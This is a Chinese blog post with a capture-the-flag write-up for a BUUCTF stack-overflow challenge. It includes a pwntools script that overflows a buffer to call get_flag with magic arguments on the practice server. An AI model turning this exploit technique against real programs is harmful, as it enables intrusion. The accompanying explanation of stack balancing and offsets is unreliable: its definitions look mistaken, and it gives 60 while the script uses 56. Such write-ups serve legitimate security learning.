当前位置: 首页 > news >正文

buu-get_started_3dsctf_2016-好久不见39

栈溢出+外平栈

1外平栈与内平栈的区别

  • 外平栈

    • 栈帧的局部变量和返回地址之间没有额外的对齐或填充。
    • 返回地址直接位于局部变量的上方(即栈顶方向)。
    • 在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量)。
  • 内平栈

    • 栈帧的局部变量和返回地址之间可能存在对齐或填充(例如,编译器为了对齐而插入的额外空间)。
    • 返回地址与局部变量之间有一定的距离。
    • 在计算偏移时,需要额外加 4(或其他值,具体取决于对齐方式)。

2. add esp, 3Ch; retn 的作用

  • add esp, 3Ch:释放栈上分配的 60 字节空间(3Ch = 60)。
  • retn:从栈顶弹出返回地址并跳转到该地址。

在漏洞利用中,这两条指令通常用于调整栈指针并返回到攻击者控制的地址。


3. 外平栈与内平栈的偏移计算

假设有以下栈布局:

外平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 返回地址        |  <- esp + 60 (3Ch)
+-----------------+
  • 局部变量与返回地址之间没有额外空间。
  • 在计算偏移时,直接使用 offset = 60,不需要额外加 4。
内平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 对齐填充        |  <- esp + 60 (3Ch)
+-----------------+
| 返回地址        |  <- esp + 64 (40h)
+-----------------+
  • 局部变量与返回地址之间有 4 字节的对齐填充。
  • 在计算偏移时,需要额外加 4,即 offset = 64

from pwn import *
io = remote("node5.buuoj.cn",28027)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

相关文章:

  • WordPress自定义排序插件:Simple Custom Post Order完全指南(SEO优化版)
  • 探讨一下游戏的重要性
  • netcore libreoffice
  • Windows - 通过ssh打开带有图形界面的程序 - 一种通过计划任务的曲折实现方式
  • 2024年数字政府服务能力优秀创新案例汇编(附下载)
  • 【QT中的一些高级数据结构,持续更新中...】
  • 高精度算法解析与实现(c++)
  • QT实战-基于QWidget实现的异形tip窗口
  • Python爬虫实战:获取12306特定日期、城市车票信息,并做数据分析以供出行参考
  • AcWing走迷宫-最短路问题-BFS求解
  • 小型字符级语言模型的改进方向和策略
  • 面阵工业相机提高餐饮业生产效率
  • TDengine 产品组件: 客户端 taosc
  • 【rt-thread】rt-thread 控制 led 的两种方式
  • DeepSeek掘金——调用DeepSeek API接口 实现智能数据挖掘与分析
  • wordpress adrotate插件 文件上传漏洞
  • 汽车自动驾驶辅助L2++是什么?
  • ARM Linux平台下 OpenCV Camera 实验
  • Apache Flink架构深度解析:任务调度、算子数据同步与TaskSlot资源管理机制
  • 【AI】常见的AI工具地址和学习资料链接
  • 关税战导致中国商品冲击周边市场?“对美出口减少并未导致对东盟出口激增”
  • 上海婚登人聂晶:见证爱情故事开启,也向长久婚姻致敬
  • 欧盟就逐步放松对叙利亚制裁达成一致
  • 破题“省会担当”,南京如何走好自己的路?
  • 江苏省人民检察院副检察长丁海涛调任省委政法委副书记
  • 证监会副主席李明:支持符合条件的外资机构申请新业务、设立新产品